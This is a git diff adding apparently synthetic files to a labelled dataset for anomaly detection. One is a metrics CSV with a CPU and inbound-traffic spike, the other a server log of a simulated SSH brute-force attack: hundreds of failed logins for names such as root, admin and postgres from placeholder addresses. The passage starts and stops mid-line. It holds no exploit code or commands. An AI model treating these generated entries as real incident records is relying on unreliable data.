50139 ssh2 +Aug 25 22:05:44 auth-server sshd[3984]: Failed password for invalid user root from 45.148.10.151 port 20470 ssh2 +Aug 25 22:05:47 auth-server sshd[3527]: Failed password for invalid user pi from 185.191.171.12 port 42614 ssh2 +Aug 25 22:05:48 auth-server sshd[3527]: Failed password for invalid user admin from 45.148.10.151 port 26108 ssh2 +Aug 25 22:05:48 auth-server sshd[3527]: Failed password for invalid user pi from 103.207.39.40 port 25375 ssh2 +Aug 25 22:05:49 auth-server sshd[3527]: Failed password for invalid user backup from 103.207.39.40 port 19619 ssh2 +Aug 25 22:05:50 auth-server systemd[1]: Starting daily clean up activities... +Aug 25 22:06:15 auth-server systemd[1]: Starting daily clean up activities... +Aug 25 22:06:40 auth-server systemd[1]: Starting daily clean up activities... +Aug 25 22:06:40 auth-server sshd[3627]: Accepted publickey for gooduser from 192.168.1.100 port 51234 ssh2 +Aug 25 22:07:05 auth-server systemd[1]: Starting daily clean up activities... diff --git a/mali_dataset/scenario_7/mali_7_13.csv b/mali_dataset/scenario_7/mali_7_13.csv new file mode 100644 index 0000000000000000000000000000000000000000..61597127ef4939837d67a35d6fde966c7f356122 --- /dev/null +++ b/mali_dataset/scenario_7/mali_7_13.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-12T14:00:00Z,16.57,39.19,36.09,0.8,0.63 +2025-08-12T14:00:05Z,19.12,38.96,28.47,0.94,1.15 +2025-08-12T14:00:10Z,16.8,42.49,23.87,0.67,0.92 +2025-08-12T14:00:15Z,15.84,41.33,35.5,1.0,0.72 +2025-08-12T14:00:20Z,14.99,39.59,34.57,0.59,0.59 +2025-08-12T14:00:25Z,23.36,41.17,30.19,1.19,0.87 +2025-08-12T14:00:30Z,16.11,36.78,24.45,1.02,0.8 +2025-08-12T14:00:35Z,13.14,38.9,21.67,1.07,0.84 +2025-08-12T14:00:40Z,8.89,39.86,28.06,1.06,0.58 +2025-08-12T14:00:45Z,12.42,36.85,24.8,1.26,0.81 +2025-08-12T14:00:50Z,17.94,38.62,27.52,0.99,0.38 +2025-08-12T14:00:55Z,14.79,35.53,26.65,0.64,0.81 +2025-08-12T14:01:00Z,10.99,41.66,35.02,0.87,0.86 +2025-08-12T14:01:05Z,14.52,39.46,33.78,0.62,1.1 +2025-08-12T14:01:10Z,14.0,37.71,27.28,1.02,0.78 +2025-08-12T14:01:15Z,20.61,37.56,32.04,1.32,0.67 +2025-08-12T14:01:20Z,14.14,41.5,33.72,0.93,0.95 +2025-08-12T14:01:25Z,19.02,41.7,22.59,1.07,1.03 +2025-08-12T14:01:30Z,17.3,37.83,27.68,0.89,1.13 +2025-08-12T14:01:35Z,17.3,40.15,29.45,1.16,0.75 +2025-08-12T14:01:40Z,13.93,38.16,29.01,0.75,0.52 +2025-08-12T14:01:45Z,13.21,38.41,25.1,0.93,0.46 +2025-08-12T14:01:50Z,13.27,38.69,37.34,0.81,0.66 +2025-08-12T14:01:55Z,19.08,36.86,29.47,0.88,0.57 +2025-08-12T14:02:00Z,15.0,40.23,33.69,1.19,0.92 +2025-08-12T14:02:05Z,17.12,37.91,12.5,1.18,0.51 +2025-08-12T14:02:10Z,14.67,41.84,24.07,1.18,0.79 +2025-08-12T14:02:15Z,14.76,38.6,32.96,0.91,0.63 +2025-08-12T14:02:20Z,11.85,38.1,22.33,1.29,0.87 +2025-08-12T14:02:25Z,18.15,37.65,29.93,1.21,1.05 +2025-08-12T14:02:30Z,16.93,39.12,23.03,12.11,0.54 +2025-08-12T14:02:35Z,16.58,40.93,28.5,15.17,0.67 +2025-08-12T14:02:40Z,22.62,39.31,36.11,11.6,0.65 +2025-08-12T14:02:45Z,24.57,38.94,37.96,15.29,0.65 +2025-08-12T14:02:50Z,31.74,37.28,28.16,14.6,1.04 +2025-08-12T14:02:55Z,33.78,40.72,31.13,15.91,0.77 +2025-08-12T14:03:00Z,34.11,36.01,31.2,12.39,0.82 +2025-08-12T14:03:05Z,38.68,42.58,21.48,10.87,1.08 +2025-08-12T14:03:10Z,45.47,38.34,24.8,10.6,1.07 +2025-08-12T14:03:15Z,50.51,38.07,34.08,10.95,0.71 +2025-08-12T14:03:20Z,45.91,39.52,31.24,8.53,1.1 +2025-08-12T14:03:25Z,52.86,39.36,29.2,10.99,0.68 +2025-08-12T14:03:30Z,53.01,42.85,27.62,12.29,0.49 +2025-08-12T14:03:35Z,50.24,44.16,28.67,7.67,0.72 +2025-08-12T14:03:40Z,63.05,38.43,28.53,12.74,1.1 +2025-08-12T14:03:45Z,70.44,41.24,32.61,9.01,1.01 +2025-08-12T14:03:50Z,64.15,38.76,26.62,11.45,0.63 +2025-08-12T14:03:55Z,73.79,39.81,26.82,7.27,0.86 +2025-08-12T14:04:00Z,80.57,41.28,33.4,11.09,0.68 +2025-08-12T14:04:05Z,78.86,39.62,16.81,11.64,0.63 +2025-08-12T14:04:10Z,74.94,41.13,26.59,11.7,0.76 +2025-08-12T14:04:15Z,83.22,37.81,36.54,14.46,0.93 +2025-08-12T14:04:20Z,85.49,42.28,26.57,13.46,0.89 +2025-08-12T14:04:25Z,83.7,40.42,28.49,10.16,1.38 +2025-08-12T14:04:30Z,88.03,37.7,31.75,10.87,1.09 +2025-08-12T14:04:35Z,89.93,41.06,23.59,12.55,0.9 +2025-08-12T14:04:40Z,86.18,37.3,26.24,15.07,0.65 +2025-08-12T14:04:45Z,86.93,38.33,30.07,15.53,0.64 +2025-08-12T14:04:50Z,94.91,38.9,32.44,12.75,0.87 +2025-08-12T14:04:55Z,94.7,43.34,28.9,8.93,0.43 +2025-08-12T14:05:00Z,96.25,38.58,28.09,7.96,0.93 +2025-08-12T14:05:05Z,89.56,41.68,41.71,10.83,0.4 +2025-08-12T14:05:10Z,85.44,39.74,31.44,10.77,0.6 +2025-08-12T14:05:15Z,83.11,39.66,40.29,11.56,1.11 +2025-08-12T14:05:20Z,77.29,44.51,24.09,12.43,0.85 +2025-08-12T14:05:25Z,80.29,41.72,28.56,12.2,0.92 +2025-08-12T14:05:30Z,72.36,37.4,28.66,7.09,0.93 +2025-08-12T14:05:35Z,70.88,44.65,32.76,9.81,0.82 +2025-08-12T14:05:40Z,65.12,41.82,34.41,12.67,0.85 +2025-08-12T14:05:45Z,59.39,40.54,27.53,10.43,0.81 +2025-08-12T14:05:50Z,17.02,39.52,28.17,0.99,0.69 +2025-08-12T14:05:55Z,15.27,41.84,32.58,0.91,0.87 +2025-08-12T14:06:00Z,11.86,42.91,34.07,0.98,0.86 +2025-08-12T14:06:05Z,13.83,37.71,34.34,0.99,0.69 +2025-08-12T14:06:10Z,15.7,43.0,33.98,1.12,0.72 +2025-08-12T14:06:15Z,17.54,38.42,30.96,1.35,0.57 +2025-08-12T14:06:20Z,16.32,37.37,29.56,0.87,0.9 +2025-08-12T14:06:25Z,15.74,42.89,39.62,1.22,1.03 +2025-08-12T14:06:30Z,18.35,42.48,22.39,1.2,1.03 +2025-08-12T14:06:35Z,17.08,41.19,26.5,1.12,0.91 +2025-08-12T14:06:40Z,15.42,41.94,38.52,1.25,0.57 +2025-08-12T14:06:45Z,10.56,41.7,29.26,1.03,0.55 +2025-08-12T14:06:50Z,18.67,35.4,30.0,0.88,0.76 +2025-08-12T14:06:55Z,13.79,40.26,24.46,1.02,1.19 +2025-08-12T14:07:00Z,10.71,40.98,24.45,1.29,0.97 +2025-08-12T14:07:05Z,14.55,40.07,31.83,1.04,1.13 +2025-08-12T14:07:10Z,21.34,36.55,34.1,0.79,1.02 +2025-08-12T14:07:15Z,13.1,43.18,34.75,1.03,0.98 +2025-08-12T14:07:20Z,14.48,40.43,27.35,1.15,0.66 +2025-08-12T14:07:25Z,12.99,41.45,31.24,0.57,0.39 diff --git a/mali_dataset/scenario_7/mali_7_13.log b/mali_dataset/scenario_7/mali_7_13.log new file mode 100644 index 0000000000000000000000000000000000000000..3151f2dd99e7fe8059c7c297a0960d570960f0ed --- /dev/null +++ b/mali_dataset/scenario_7/mali_7_13.log @@ -0,0 +1,505 @@ +Aug 12 14:00:01 server systemd[1]: Starting daily clean up activities... +Aug 12 14:00:01 server web-app[1234]: GET /api/v1/user/20 status=200 OK +Aug 12 14:00:17 server web-app[1234]: GET /api/v1/user/15 status=200 OK +Aug 12 14:00:33 server web-app[1234]: GET /api/v1/user/14 status=200 OK +Aug 12 14:00:45 server web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 12 14:00:53 server systemd[1]: Starting daily clean up activities... +Aug 12 14:01:03 server web-app[1234]: GET /api/v1/user/11 status=200 OK +Aug 12 14:01:18 server web-app[1234]: GET /api/v1/user/20 status=200 OK +Aug 12 14:01:30 server web-app[1234]: GET /api/v1/user/15 status=200 OK +Aug 12 14:01:44 server systemd[1]: Starting daily clean up activities... +Aug 12 14:01:47 server web-app[1234]: GET /api/v1/user/10 status=200 OK +Aug 12 14:02:03 server web-app[1234]: GET /api/v1/user/15 status=200 OK +Aug 12 14:02:17 server web-app[1234]: GET /api/v1/user/17 status=200 OK +Aug 12 14:02:33 server sshd[1644]: Failed password for invalid user john from 198.51.100.55 port 22276 ssh2 +Aug 12 14:02:31 server sshd[1644]: Failed password for invalid user backup from 198.51.100.55 port 19017 ssh2 +Aug 12 14:02:31 server sshd[1644]: Failed password for guest from 172.16.23.101 port 36534 ssh2 +Aug 12 14:02:33 server sshd[1644]: Failed password for invalid user backup from 172.16.23.101 port 58701 ssh2 +Aug 12 14:02:33 server sshd[1644]: Failed password for user from 198.51.100.55 port 55092 ssh2 +Aug 12 14:02:33 server sshd[1644]: Failed password for guest from 203.0.113.12 port 11276 ssh2 +Aug 12 14:02:31 server sshd[1644]: Failed password for guest from 192.0.2.24 port 12929 ssh2 +Aug 12 14:02:31 server sshd[1644]: Failed password for admin from 192.0.2.24 port 29575 ssh2 +Aug 12 14:02:34 server sshd[1644]: Failed password for oracle from 192.0.2.24 port 14999 ssh2 +Aug 12 14:02:30 server sshd[1644]: Failed password for invalid user dev from 198.51.100.55 port 35608 ssh2 +Aug 12 14:02:34 server sshd[1644]: Failed password for guest from 198.51.100.55 port 59693 ssh2 +Aug 12 14:02:34 server sshd[1644]: Failed password for invalid user backup from 192.0.2.24 port 51572 ssh2 +Aug 12 14:02:32 server sshd[1644]: Failed password for support from 192.0.2.24 port 53359 ssh2 +Aug 12 14:02:33 server CRON[6789]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 12 14:02:37 server sshd[1644]: Failed password for admin from 192.0.2.24 port 44864 ssh2 +Aug 12 14:02:39 server sshd[1644]: Failed password for postgres from 203.0.113.12 port 49007 ssh2 +Aug 12 14:02:38 server sshd[1644]: Failed password for admin from 198.51.100.55 port 41278 ssh2 +Aug 12 14:02:36 server sshd[1644]: Failed password for postgres from 172.16.23.101 port 37896 ssh2 +Aug 12 14:02:39 server sshd[1644]: Failed password for invalid user john from 172.16.23.101 port 23917 ssh2 +Aug 12 14:02:38 server sshd[1644]: Failed password for user from 192.0.2.24 port 41123 ssh2 +Aug 12 14:02:35 server sshd[1644]: Failed password for guest from 203.0.113.12 port 22728 ssh2 +Aug 12 14:02:39 server sshd[1644]: Failed password for postgres from 192.0.2.24 port 43425 ssh2 +Aug 12 14:02:43 server sshd[1644]: Failed password for invalid user backup from 192.0.2.24 port 55498 ssh2 +Aug 12 14:02:42 server sshd[1644]: Failed password for invalid user backup from 198.51.100.55 port 17110 ssh2 +Aug 12 14:02:41 server sshd[1644]: Failed password for test from 198.51.100.55 port 13120 ssh2 +Aug 12 14:02:40 server sshd[1644]: Failed password for invalid user webmaster from 203.0.113.12 port 23756 ssh2 +Aug 12 14:02:42 server sshd[1644]: Failed password for postgres from 203.0.113.12 port 35497 ssh2 +Aug 12 14:02:42 server sshd[1644]: Failed password for invalid user webmaster from 192.0.2.24 port 53371 ssh2 +Aug 12 14:02:40 server sshd[1644]: Failed password for guest from 203.0.113.12 port 35603 ssh2 +Aug 12 14:02:43 server sshd[1644]: Failed password for root from 203.0.113.12 port 40206 ssh2 +Aug 12 14:02:44 server sshd[1644]: Failed password for invalid user john from 198.51.100.55 port 61593 ssh2 +Aug 12 14:02:40 server sshd[1644]: Failed password for admin from 172.16.23.101 port 20610 ssh2 +Aug 12 14:02:43 server sshd[1644]: Failed password for invalid user backup from 192.0.2.24 port 53628 ssh2 +Aug 12 14:02:42 server sshd[1644]: Failed password for support from 203.0.113.12 port 52723 ssh2 +Aug 12 14:02:40 server sshd[1644]: Failed password for oracle from 192.0.2.24 port 14985 ssh2 +Aug 12 14:02:43 server sshd[1644]: Failed password for invalid user service from 192.0.2.24 port 10979 ssh2 +Aug 12 14:02:44 server sshd[1644]: Failed password for oracle from 198.51.100.55 port 38938 ssh2 +Aug 12 14:02:45 server sshd[1644]: Failed password for oracle from 172.16.23.101 port 43233 ssh2 +Aug 12 14:02:47 server sshd[1644]: Failed password for oracle from 192.0.2.24 port 54489 ssh2 +Aug 12 14:02:45 server sshd[1644]: Failed password for support from 192.0.2.24 port 14642 ssh2 +Aug 12 14:02:45 server sshd[1644]: Failed password for guest from 192.0.2.24 port 47420 ssh2 +Aug 12 14:02:45 server sshd[1644]: Failed password for admin from 198.51.100.55 port 25524 ssh2 +Aug 12 14:02:48 server sshd[1644]: Failed password for invalid user webmaster from 192.0.2.24 port 64405 ssh2 +Aug 12 14:02:48 server sshd[1644]: Failed password for invalid user service from 192.0.2.24 port 13099 ssh2 +Aug 12 14:02:45 server sshd[1644]: Failed password for user from 203.0.113.12 port 38807 ssh2 +Aug 12 14:02:47 server sshd[1644]: Failed password for invalid user ftpuser from 172.16.23.101 port 32772 ssh2 +Aug 12 14:02:48 server sshd[1644]: Failed password for test from 203.0.113.12 port 28756 ssh2 +Aug 12 14:02:47 server sshd[1644]: Failed password for invalid user ftpuser from 198.51.100.55 port 20927 ssh2 +Aug 12 14:02:45 server sshd[1644]: Failed password for oracle from 198.51.100.55 port 59997 ssh2 +Aug 12 14:02:48 server sshd[1644]: Failed password for test from 198.51.100.55 port 57694 ssh2 +Aug 12 14:02:47 server sshd[1644]: Failed password for oracle from 198.51.100.55 port 53489 ssh2 +Aug 12 14:02:54 server sshd[1644]: Failed password for invalid user ftpuser from 172.16.23.101 port 37633 ssh2 +Aug 12 14:02:50 server sshd[1644]: Failed password for user from 198.51.100.55 port 53669 ssh2 +Aug 12 14:02:53 server sshd[1644]: Failed password for postgres from 198.51.100.55 port 49153 ssh2 +Aug 12 14:02:53 server sshd[1644]: Failed password for support from 198.51.100.55 port 59922 ssh2 +Aug 12 14:02:54 server sshd[1644]: Failed password for guest from 192.0.2.24 port 53769 ssh2 +Aug 12 14:02:53 server sshd[1644]: Failed password for postgres from 172.16.23.101 port 37405 ssh2 +Aug 12 14:02:50 server sshd[1644]: Failed password for user from 198.51.100.55 port 39583 ssh2 +Aug 12 14:02:50 server sshd[1644]: Failed password for oracle from 192.0.2.24 port 43010 ssh2 +Aug 12 14:02:51 server sshd[1644]: Failed password for invalid user john from 192.0.2.24 port 17604 ssh2 +Aug 12 14:02:50 server sshd[1644]: Failed password for oracle from 203.0.113.12 port 25207 ssh2 +Aug 12 14:02:52 server sshd[1644]: Failed password for postgres from 203.0.113.12 port 11381 ssh2 +Aug 12 14:02:52 server sshd[1644]: Failed password for invalid user dev from 192.0.2.24 port 62012 ssh2 +Aug 12 14:02:53 server sshd[1644]: Failed password for guest from 203.0.113.12 port 43471 ssh2 +Aug 12 14:02:51 server sshd[1644]: Failed password for oracle from 192.0.2.24 port 65037 ssh2 +Aug 12 14:02:53 server sshd[1644]: Failed password for oracle from 203.0.113.12 port 15825 ssh2 +Aug 12 14:02:59 server sshd[1644]: Failed password for postgres from 203.0.113.12 port 26941 ssh2 +Aug 12 14:02:56 server sshd[1644]: Failed password for invalid user service from 172.16.23.101 port 44253 ssh2 +Aug 12 14:02:55 server sshd[1644]: Failed password for invalid user dev from 203.0.113.12 port 61583 ssh2 +Aug 12 14:02:55 server sshd[1644]: Failed password for admin from 198.51.100.55 port 20673 ssh2 +Aug 12 14:02:59 server sshd[1644]: Failed password for invalid user dev from 192.0.2.24 port 50237 ssh2 +Aug 12 14:02:59 server sshd[1644]: Failed password for user from 203.0.113.12 port 24741 ssh2 +Aug 12 14:02:59 server sshd[1644]: Failed password for guest from 192.0.2.24 port 52553 ssh2 +Aug 12 14:02:56 server sshd[1644]: Failed password for invalid user dev from 203.0.113.12 port 47477 ssh2 +Aug 12 14:02:58 server sshd[1644]: Failed password for invalid user service from 172.16.23.101 port 17991 ssh2 +Aug 12 14:02:58 server sshd[1644]: Failed password for oracle from 203.0.113.12 port 50568 ssh2 +Aug 12 14:02:58 server sshd[1644]: Failed password for invalid user john from 198.51.100.55 port 36967 ssh2 +Aug 12 14:02:58 server sshd[1644]: Failed password for user from 192.0.2.24 port 26652 ssh2 +Aug 12 14:02:57 server sshd[1644]: Failed password for test from 172.16.23.101 port 28782 ssh2 +Aug 12 14:02:58 server CRON[6789]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 12 14:03:04 server sshd[1644]: Failed password for postgres from 192.0.2.24 port 26540 ssh2 +Aug 12 14:03:01 server sshd[1644]: Failed password for invalid user ftpuser from 203.0.113.12 port 36618 ssh2 +Aug 12 14:03:00 server sshd[1644]: Failed password for root from 192.0.2.24 port 33898 ssh2 +Aug 12 14:03:04 server sshd[1644]: Failed password for postgres from 203.0.113.12 port 16637 ssh2 +Aug 12 14:03:02 server sshd[1644]: Failed password for user from 192.0.2.24 port 38794 ssh2 +Aug 12 14:03:00 server sshd[1644]: Failed password for admin from 192.0.2.24 port 14321 ssh2 +Aug 12 14:03:00 server sshd[1644]: Failed password for invalid user webmaster from 172.16.23.101 port 22701 ssh2 +Aug 12 14:03:04 server sshd[1644]: Failed password for admin from 203.0.113.12 port 43163 ssh2 +Aug 12 14:03:04 server sshd[1644]: Failed password for invalid user ftpuser from 172.16.23.101 port 27649 ssh2 +Aug 12 14:03:02 server sshd[1644]: Failed password for invalid user webmaster from 203.0.113.12 port 17793 ssh2 +Aug 12 14:03:07 server sshd[1644]: Failed password for support from 172.16.23.101 port 28417 ssh2 +Aug 12 14:03:08 server sshd[1644]: Failed password for admin from 192.0.2.24 port 58440 ssh2 +Aug 12 14:03:08 server sshd[1644]: Failed password for invalid user dev from 172.16.23.101 port 38326 ssh2 +Aug 12 14:03:05 server sshd[1644]: Failed password for user from 172.16.23.101 port 19498 ssh2 +Aug 12 14:03:08 server sshd[1644]: Failed password for test from 198.51.100.55 port 46848 ssh2 +Aug 12 14:03:05 server sshd[1644]: Failed password for invalid user service from 192.0.2.24 port 24173 ssh2 +Aug 12 14:03:05 server sshd[1644]: Failed password for invalid user ftpuser from 172.16.23.101 port 34585 ssh2 +Aug 12 14:03:08 server sshd[1644]: Failed password for admin from 172.16.23.101 port 26003 ssh2 +Aug 12 14:03:06 server sshd[1644]: Failed password for test from 172.16.23.101 port 42237 ssh2 +Aug 12 14:03:06 server sshd[1644]: Failed password for user from 172.16.23.101 port 32787 ssh2 +Aug 12 14:03:09 server sshd[1644]: Failed password for test from 192.0.2.24 port 31344 ssh2 +Aug 12 14:03:05 server sshd[1644]: Failed password for support from 192.0.2.24 port 51929 ssh2 +Aug 12 14:03:09 server sshd[1644]: Failed password for root from 192.0.2.24 port 20952 ssh2 +Aug 12 14:03:05 server sshd[1644]: Failed password for admin from 172.16.23.101 port 45108 ssh2 +Aug 12 14:03:12 server sshd[1644]: Failed password for test from 198.51.100.55 port 11422 ssh2 +Aug 12 14:03:11 server sshd[1644]: Failed password for invalid user service from 203.0.113.12 port 30589 ssh2 +Aug 12 14:03:10 server sshd[1644]: Failed password for invalid user service from 203.0.113.12 port 57544 ssh2 +Aug 12 14:03:11 server sshd[1644]: Failed password for user from 172.16.23.101 port 32224 ssh2 +Aug 12 14:03:13 server sshd[1644]: Failed password for postgres from 203.0.113.12 port 35928 ssh2 +Aug 12 14:03:14 server sshd[1644]: Failed password for guest from 192.0.2.24 port 62312 ssh2 +Aug 12 14:03:13 server sshd[1644]: Failed password for invalid user service from 198.51.100.55 port 11005 ssh2 +Aug 12 14:03:13 server sshd[1644]: Failed password for user from 192.0.2.24 port 28901 ssh2 +Aug 12 14:03:13 server sshd[1644]: Failed password for invalid user dev from 172.16.23.101 port 56520 ssh2 +Aug 12 14:03:11 server sshd[1644]: Failed password for invalid user john from 198.51.100.55 port 35099 ssh2 +Aug 12 14:03:13 server sshd[1644]: Failed password for invalid user john from 198.51.100.55 port 52339 ssh2 +Aug 12 14:03:14 server sshd[1644]: Failed password for test from 192.0.2.24 port 31384 ssh2 +Aug 12 14:03:17 server sshd[1644]: Failed password for admin from 172.16.23.101 port 50152 ssh2 +Aug 12 14:03:19 server sshd[1644]: Failed password for root from 198.51.100.55 port 32886 ssh2 +Aug 12 14:03:18 server sshd[1644]: Failed password for guest from 198.51.100.55 port 35480 ssh2 +Aug 12 14:03:18 server sshd[1644]: Failed password for postgres from 203.0.113.12 port 23204 ssh2 +Aug 12 14:03:19 server sshd[1644]: Failed password for test from 192.0.2.24 port 44560 ssh2 +Aug 12 14:03:17 server sshd[1644]: Failed password for invalid user webmaster from 172.16.23.101 port 59255 ssh2 +Aug 12 14:03:15 server sshd[1644]: Failed password for invalid user ftpuser from 203.0.113.12 port 30071 ssh2 +Aug 12 14:03:19 server sshd[1644]: Failed password for support from 172.16.23.101 port 59837 ssh2 +Aug 12 14:03:18 server sshd[1644]: Failed password for oracle from 172.16.23.101 port 33546 ssh2 +Aug 12 14:03:19 server sshd[1644]: Failed password for user from 198.51.100.55 port 27144 ssh2 +Aug 12 14:03:17 server sshd[1644]: Failed password for invalid user webmaster from 203.0.113.12 port 54688 ssh2 +Aug 12 14:03:19 server sshd[1644]: Failed password for invalid user backup from 198.51.100.55 port 28760 ssh2 +Aug 12 14:03:21 server sshd[1644]: Failed password for test from 203.0.113.12 port 61731 ssh2 +Aug 12 14:03:22 server sshd[1644]: Failed password for user from 198.51.100.55 port 55127 ssh2 +Aug 12 14:03:23 server sshd[1644]: Failed password for guest from 198.51.100.55 port 19550 ssh2 +Aug 12 14:03:24 server sshd[1644]: Failed password for root from 172.16.23.101 port 11984 ssh2 +Aug 12 14:03:21 server sshd[1644]: Failed password for user from 172.16.23.101 port 51340 ssh2 +Aug 12 14:03:22 server sshd[1644]: Failed password for user from 192.0.2.24 port 51275 ssh2 +Aug 12 14:03:20 server sshd[1644]: Failed password for postgres from 203.0.113.12 port 47467 ssh2 +Aug 12 14:03:24 server sshd[1644]: Failed password for postgres from 172.16.23.101 port 23092 ssh2 +Aug 12 14:03:24 server CRON[6789]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 12 14:03:25 server sshd[1644]: Failed password for user from 192.0.2.24 port 55344 ssh2 +Aug 12 14:03:27 server sshd[1644]: Failed password for test from 203.0.113.12 port 20671 ssh2 +Aug 12 14:03:25 server sshd[1644]: Failed password for guest from 198.51.100.55 port 26259 ssh2 +Aug 12 14:03:25 server sshd[1644]: Failed password for postgres from 198.51.100.55 port 44281 ssh2 +Aug 12 14:03:25 server sshd[1644]: Failed password for user from 192.0.2.24 port 41050 ssh2 +Aug 12 14:03:28 server sshd[1644]: Failed password for guest from 192.0.2.24 port 44675 ssh2 +Aug 12 14:03:25 server sshd[1644]: Failed password for invalid user service from 172.16.23.101 port 11405 ssh2 +Aug 12 14:03:27 server sshd[1644]: Failed password for invalid user dev from 172.16.23.101 port 47049 ssh2 +Aug 12 14:03:27 server sshd[1644]: Failed password for root from 172.16.23.101 port 25044 ssh2 +Aug 12 14:03:28 server sshd[1644]: Failed password for root from 198.51.100.55 port 26515 ssh2 +Aug 12 14:03:28 server sshd[1644]: Failed password for root from 203.0.113.12 port 63721 ssh2 +Aug 12 14:03:25 server sshd[1644]: Failed password for invalid user ftpuser from 203.0.113.12 port 37505 ssh2 +Aug 12 14:03:31 server sshd[1644]: Failed password for invalid user webmaster from 192.0.2.24 port 22785 ssh2 +Aug 12 14:03:31 server sshd[1644]: Failed password for test from 203.0.113.12 port 40991 ssh2 +Aug 12 14:03:33 server sshd[1644]: Failed password for postgres from 192.0.2.24 port 59721 ssh2 +Aug 12 14:03:34 server sshd[1644]: Failed password for guest from 192.0.2.24 port 42594 ssh2 +Aug 12 14:03:32 server sshd[1644]: Failed password for admin from 192.0.2.24 port 18682 ssh2 +Aug 12 14:03:30 server sshd[1644]: Failed password for invalid user webmaster from 192.0.2.24 port 57068 ssh2 +Aug 12 14:03:32 server sshd[1644]: Failed password for support from 198.51.100.55 port 42947 ssh2 +Aug 12 14:03:31 server sshd[1644]: Failed password for invalid user service from 192.0.2.24 port 23303 ssh2 +Aug 12 14:03:31 server sshd[1644]: Failed password for root from 192.0.2.24 port 13317 ssh2 +Aug 12 14:03:33 server sshd[1644]: Failed password for invalid user webmaster from 192.0.2.24 port 14719 ssh2 +Aug 12 14:03:33 server sshd[1644]: Failed password for admin from 172.16.23.101 port 13871 ssh2 +Aug 12 14:03:30 server sshd[1644]: Failed password for root from 172.16.23.101 port 40676 ssh2 +Aug 12 14:03:39 server sshd[1644]: Failed password for test from 203.0.113.12 port 15152 ssh2 +Aug 12 14:03:39 server sshd[1644]: Failed password for support from 192.0.2.24 port 26798 ssh2 +Aug 12 14:03:39 server sshd[1644]: Failed password for support from 192.0.2.24 port 14316 ssh2 +Aug 12 14:03:38 server sshd[1644]: Failed password for guest from 192.0.2.24 port 10756 ssh2 +Aug 12 14:03:35 server sshd[1644]: Failed password for invalid user john from 172.16.23.101 port 38924 ssh2 +Aug 12 14:03:39 server sshd[1644]: Failed password for root from 192.0.2.24 port 52174 ssh2 +Aug 12 14:03:36 server sshd[1644]: Failed password for postgres from 203.0.113.12 port 50258 ssh2 +Aug 12 14:03:35 server sshd[1644]: Failed password for user from 192.0.2.24 port 63593 ssh2 +Aug 12 14:03:36 server sshd[1644]: Failed password for invalid user ftpuser from 203.0.113.12 port 48382 ssh2 +Aug 12 14:03:35 server sshd[1644]: Failed password for invalid user john from 172.16.23.101 port 48165 ssh2 +Aug 12 14:03:37 server sshd[1644]: Failed password for test from 198.51.100.55 port 21148 ssh2 +Aug 12 14:03:36 server sshd[1644]: Failed password for invalid user backup from 192.0.2.24 port 50503 ssh2 +Aug 12 14:03:37 server sshd[1644]: Failed password for admin from 198.51.100.55 port 42680 ssh2 +Aug 12 14:03:37 server sshd[1644]: Failed password for invalid user service from 172.16.23.101 port 37047 ssh2 +Aug 12 14:03:35 server sshd[1644]: Failed password for guest from 192.0.2.24 port 61537 ssh2 +Aug 12 14:03:41 server sshd[1644]: Failed password for guest from 203.0.113.12 port 55312 ssh2 +Aug 12 14:03:43 server sshd[1644]: Failed password for postgres from 192.0.2.24 port 50551 ssh2 +Aug 12 14:03:44 server sshd[1644]: Failed password for root from 172.16.23.101 port 40412 ssh2 +Aug 12 14:03:43 server sshd[1644]: Failed password for invalid user webmaster from 192.0.2.24 port 22739 ssh2 +Aug 12 14:03:43 server sshd[1644]: Failed password for postgres from 172.16.23.101 port 42758 ssh2 +Aug 12 14:03:40 server sshd[1644]: Failed password for root from 192.0.2.24 port 35615 ssh2 +Aug 12 14:03:40 server sshd[1644]: Failed password for guest from 203.0.113.12 port 17925 ssh2 +Aug 12 14:03:43 server sshd[1644]: Failed password for support from 198.51.100.55 port 64256 ssh2 +Aug 12 14:03:46 server sshd[1644]: Failed password for invalid user service from 203.0.113.12 port 18264 ssh2 +Aug 12 14:03:49 server sshd[1644]: Failed password for user from 192.0.2.24 port 22082 ssh2 +Aug 12 14:03:48 server sshd[1644]: Failed password for support from 192.0.2.24 port 17501 ssh2 +Aug 12 14:03:45 server sshd[1644]: Failed password for test from 203.0.113.12 port 44674 ssh2 +Aug 12 14:03:49 server sshd[1644]: Failed password for admin from 203.0.113.12 port 63707 ssh2 +Aug 12 14:03:49 server sshd[1644]: Failed password for invalid user dev from 172.16.23.101 port 17176 ssh2 +Aug 12 14:03:46 server sshd[1644]: Failed password for postgres from 192.0.2.24 port 28395 ssh2 +Aug 12 14:03:48 server sshd[1644]: Failed password for user from 192.0.2.24 port 34029 ssh2 +Aug 12 14:03:49 server CRON[6789]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 12 14:03:54 server sshd[1644]: Failed password for postgres from 203.0.113.12 port 37246 ssh2 +Aug 12 14:03:54 server sshd[1644]: Failed password for support from 203.0.113.12 port 36533 ssh2 +Aug 12 14:03:51 server sshd[1644]: Failed password for guest from 203.0.113.12 port 15680 ssh2 +Aug 12 14:03:51 server sshd[1644]: Failed password for test from 203.0.113.12 port 55405 ssh2 +Aug 12 14:03:52 server sshd[1644]: Failed password for user from 198.51.100.55 port 64639 ssh2 +Aug 12 14:03:53 server sshd[1644]: Failed password for guest from 203.0.113.12 port 12690 ssh2 +Aug 12 14:03:52 server sshd[1644]: Failed password for invalid user john from 192.0.2.24 port 32317 ssh2 +Aug 12 14:03:54 server sshd[1644]: Failed password for invalid user service from 192.0.2.24 port 46756 ssh2 +Aug 12 14:03:53 server sshd[1644]: Failed password for user from 172.16.23.101 port 15489 ssh2 +Aug 12 14:03:54 server sshd[1644]: Failed password for oracle from 192.0.2.24 port 51919 ssh2 +Aug 12 14:03:54 server sshd[1644]: Failed password for invalid user ftpuser from 192.0.2.24 port 12146 ssh2 +Aug 12 14:03:50 server sshd[1644]: Failed password for user from 203.0.113.12 port 60403 ssh2 +Aug 12 14:03:57 server sshd[1644]: Failed password for postgres from 203.0.113.12 port 10825 ssh2 +Aug 12 14:03:57 server sshd[1644]: Failed password for admin from 198.51.100.55 port 39008 ssh2 +Aug 12 14:03:55 server sshd[1644]: Failed password for test from 192.0.2.24 port 50931 ssh2 +Aug 12 14:03:55 server sshd[1644]: Failed 